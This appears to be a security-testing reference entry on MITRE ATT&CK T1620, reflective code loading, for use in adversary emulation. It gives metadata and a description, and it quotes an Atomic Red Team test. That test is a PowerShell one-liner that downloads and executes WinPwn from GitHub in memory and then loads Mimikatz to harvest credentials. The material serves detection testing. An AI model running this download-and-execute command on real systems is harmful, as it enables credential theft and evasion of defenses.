t1620-reflective-code-loading

name	T1620_reflective-code-loading
description	Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1620","defense-evasion","linux","macos","windows"]
technique_id	T1620
tactic	defense-evasion
all_tactics	["defense-evasion"]
platforms	["Linux","macOS","Windows"]
mitre_url	https://attack.mitre.org/techniques/T1620
tech_stack	["linux","macos","windows"]
cwe_ids	["CWE-693"]
chains_with	[]
prerequisites	[]
severity_boost	{}

T1620 Reflective Code Loading

High-Level Description

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode). For example, the Assembly.Load() method executed by PowerShell may be abused to load raw code into the running process.

Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.

Kill Chain Phase

• Defense Evasion (TA0005)

Platforms: Linux, macOS, Windows

What to Check

• Identify if Reflective Code Loading technique is applicable to target environment
• Check Linux systems for indicators of Reflective Code Loading
• Check macOS systems for indicators of Reflective Code Loading
• Check Windows systems for indicators of Reflective Code Loading
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: WinPwn - Reflectively load Mimik@tz into memory

Reflectively load Mimik@tz into memory technique via function of WinPwn

Supported Platforms: windows

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by: